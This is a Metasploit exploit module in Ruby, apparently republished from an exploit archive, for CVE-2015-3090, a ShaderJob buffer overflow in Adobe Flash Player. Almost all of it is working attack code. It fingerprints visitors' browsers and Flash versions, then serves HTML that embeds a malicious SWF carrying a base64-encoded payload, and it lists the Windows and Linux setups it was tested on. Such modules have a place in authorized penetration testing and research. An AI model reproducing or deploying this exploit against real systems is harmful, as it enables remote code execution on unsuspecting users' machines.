Adobe Flash Player – ShaderJob Buffer Overflow (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => 'Adobe Flash Player ShaderJob Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow vulnerability related to the ShaderJob workings on Adobe Flash Player. The vulnerability happens when trying to apply a Shader setting up the same Bitmap object as src and destination of the ShaderJob. Modifying the "width" attribute of the ShaderJob after starting the job it's possible to create a buffer overflow condition where the size of the destination buffer and the length of the copy are controlled. This module has been tested successfully on: * Windows 7 SP1 (32-bit), IE11 and Adobe Flash 17.0.0.169. * Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 17.0.0.169. * Windows 8.1, Firefox 38.0.5 and Adobe Flash 17.0.0.169. * Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.457. }, 'License' => MSF_LICENSE, 'Author' => [ 'Chris Evans', # Vulnerability discovery 'Unknown', # Exploit in the wild 'juan vazquez' # msf module ], 'References' => [ ['CVE', '2015-3090'], ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-09.html'], ['URL', 'https://www.fireeye.com/blog/threat-research/2015/05/angler_ek_exploiting.html'], ['URL', 'http://malware.dontneedcoffee.com/2015/05/cve-2015-3090-flash-up-to-1700169-and.html'], ['URL', 'http://www.brooksandrus.com/blog/2009/03/11/bilinear-resampling-with-flash-player-and-pixel-bender/'] ], 'Payload' => { 'DisableNops' => true }, 'Platform' => ['win', 'linux'], 'Arch' => [ARCH_X86], 'BrowserRequirements' => { :source => /script|headers/i, :arch => ARCH_X86, :os_name => lambda do |os| os =~ OperatingSystems::Match::LINUX || os =~ OperatingSystems::Match::WINDOWS_7 || os =~ OperatingSystems::Match::WINDOWS_81 end, :ua_name => lambda do |ua| case target.name when 'Windows' return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF when 'Linux' return true if ua == Msf::HttpClients::FF end false end, :flash => lambda do |ver| case target.name when 'Windows' return true if ver =~ /^17\./ && Gem::Version.new(ver) <= Gem::Version.new('17.0.0.169') when 'Linux' return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.457') end false end }, 'Targets' => [ [ 'Windows', { 'Platform' => 'win' } ], [ 'Linux', { 'Platform' => 'linux' } ] ], 'Privileged' => false, 'DisclosureDate' => 'May 12 2015', 'DefaultTarget' => 0)) end def exploit @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status('Sending SWF...') send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) return end print_status('Sending HTML...') send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) b64_payload = Rex::Text.encode_base64(target_payload) os_name = target_info[:os_name] if target.name =~ /Windows/ platform_id = 'win' elsif target.name =~ /Linux/ platform_id = 'linux' end html_template = %Q|<html> <body> <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="https://www.exploit-db.com/exploits/37368/<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3090', 'msf.swf') swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end |